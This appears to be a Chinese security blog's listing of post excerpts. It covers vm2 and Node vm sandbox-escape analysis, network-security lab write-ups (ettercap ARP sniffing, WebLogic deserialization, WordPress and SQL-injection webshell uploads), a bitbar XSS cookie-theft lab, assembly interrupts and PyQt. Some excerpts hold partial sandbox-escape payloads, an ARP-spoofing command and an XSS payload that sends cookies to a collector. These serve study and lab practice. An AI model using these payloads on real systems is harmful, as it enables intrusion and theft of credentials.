常用的网站
大师傅http://szfszf.top/
JWThttps://jwt.io/
杂项bypass disabled function
https://github.com/l3m0n/Bypass_Disable_functions_Shell
vm2沙箱逃逸分析
本文首发于安全客 https://www.anquanke.com/post/id/207291
vm2沙箱逃逸分析前言:vm2中在版本的更迭中,存在多种逃逸方法,可以参考 https://github.com/patriksimek/vm2/issues?q=is%3Aissue+author%3AXmiliaH+is%3Aclosed 但是 issue中都没有给出具体的分析,本文通过几个典型的案例来分析这些代码是如何逃逸出vm2的
注:需要使用git进行回退 git reset --hard 7ecabb1
案例1代码:
"use strict";const {VM} = require('vm2');const untrusted = `var process;Object.prototype.has=(t,k)=>{ process = t.constructor("return process")();}"" in Buffer.from;process.mainModule.require("child_process"). ...
vm2实现原理分析
本文首发于安全客 https://www.anquanke.com/post/id/207283
vm2实现原理分析前言:vm是nodejs实现的一个沙箱环境,但是官方文档并不推荐使用vm来运行不可信任的代码,vm2则是一个npm包,在vm的基础上,通过es6新增的代理机制,来拦截对外部属性的访问,那么这个沙箱是否安全呢?本文针对vm2的实现原理,从源码的层面进行分析,看vm2究竟做了些什么。
vm APIvm2是在vm的基础上实现的沙箱,所以内部调用的还是vm的API,在vm中运行一个沙箱环境:
![](vm2实现原理分析/Sun, 31 May 2020 092059-1591428069572.png)
相应的代码:
const vm = require('vm');const context = { animal: 'cat', count: 2};const script = new vm.Script('count += 1; name = "kitty";'); //编译codevm.createContext(context); // 创建一个上 ...
网安实验综合
实验拓扑图
任务1192.168.1.3 定时登录 192.168.1.4 的ftp服务,通过分析流量包可以发现
使用 ettercap 进行网络嗅探
ettercap -i eth1 -Tq -L sniffeddata -M arp:remote //192.168.1.4/21//
登录ftp服务即可得到 key.txt 内容
同时还发现 192.168.1.4 存在WebLogic 反序列化漏洞,工具包位于 /home/Hack 目录下
读到 key1.txt 内容
任务2192.168.1.5 运行了 wordpress 站点,访问得到 key2.txt
这居然是wordpress后台的密码。(这里没办法利用wordpress-rce那个脚本)
登录到wordpress后台需要 getshell
这里下载一个 wordpress 的主题,我下载了这个 https://wordpress.org/plugins/simple-shortcode-block/
然后将其中的index.php 修改为一句话木马,通过后 ...
js沙箱逃逸
vm沙箱逃逸"use strict";const vm = require("vm");const xyz = vm.runInNewContext(`let a = "welcome!";a;`);console.log(xyz);
打印出
welcome
如果换成
"use strict";const vm = require("vm");const xyz = vm.runInNewContext(`process`);console.log(xyz);
结果:
因为 process 是没有定义的
但是我们可以通过这样来获取到系统的环境变量
const vm = require("vm");const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);console.log(env);
因为 this 指向了一个外部的对象,this.conatructor 指向的就是 Object 对象的 Constructor , 而 object constru ...
bitbar实验
Attack 1: Warm-up exercise: Cookie Theft根据路由
get 'profile' => 'user#view_profile'
定位到函数
def view_profile @username = params[:username] @user = User.find_by_username(@username) if not @user if @username and @username != "" @error = "User #{@username} not found" elsif logged_in? @user = @logged_in_user end end render :profileend
可以看到,输入的 username 被直接给打印出来,那么自然就存在XSS漏洞了。
payload
<script type="text/javascript">(new Image()).src="http://localhost:3000/s ...
汇编从入门到入土八
中断处理的流程(牢记)
关于第三步
为什么要设置第8位 TF?
这就涉及到debug程序的原理:
debug的原理,通过设置 TF 为1,引发单步中断去执行debug准备好的中断代码
但是这样会有问题,在处理中断的时候是不能去触发单步中断的,所以CPU要提前设置TF为0
中断过程具体的操作
lab12代码如下:
assume cs:codecode segmentstart: mov ax,cs mov ds,ax mov si,offset do0 mov ax,0 mov es,ax mov di,200H mov cx,offset do0end-offset do0 rep movsb mov ax,0 mov es,ax mov word ptr es:[0],200H mov word ptr es:[2],0 mov ax, 1000h mov bh, 1 div bh mov ax,4C00H int 21H do0: j ...
企业环境渗透一
任务一 后台文件上传本实验任务基于真实企业网络环境,在三台服务器搭建的典型企业局域网环境中,主要完成以下内容:
1.1 使用目录扫描工具对目标网站的后台地址进行扫描(如wwwscan)
1.2 使用Burpsuite工具爆破后台管理员密码
1.3 使用爆破出的管理员密码登录后台,并上传一句话木马
1.4 使用中国菜刀连接一句话木马
得到后台登陆地址为 manager/login.php
同时发现扫描出了 /myadmin ,猜测是 phpmyadmin
弱口令 root , root试一下,成功登陆
在数据库中发现了用户名和密码
md5解密:
成功登陆后台,得到 falg1
任务二 sql注入
利用之前扫描目录得到的结果访问到测试的sql,利用SQL注入漏洞获得网站数据库信息
构造SQL注入语句读取webserver配置文件查看网站根目录,写入php一句话木马,获得webshell
访问存在SQL注入漏洞的页面,表的字段为10
尝试联合注入失败
可以直接登陆后台,并修改配置:
然后就可以从后台上传php文件了
成功上传
使用菜刀进行连接
flag
任务三 p ...
pyqt入门
编写一个简单地GUI应用如下
拖动进度条,下面两个框框会显示不同的数据
输入姓名,点击设置姓名,下面的框框回回显数据
点击关闭按钮关闭窗口
GUI设计妥妥拽拽即可
两个 groupbox 布局可以通过
进行设置
信号和槽关闭按钮的信号直接通过拖动即可关联
自定义信号import sysfrom PyQt5.QtCore import QObject,pyqtSlot,pyqtSignalclass human(QObject): nameChanged = pyqtSignal(str) ageChanged = pyqtSignal([int], [str]) def __init__(self, name="Mike", age=10,parent=None): super().__init__(parent) def setAge(self, age): self._age = age self.ageChanged.emit(self._age) if age<= ...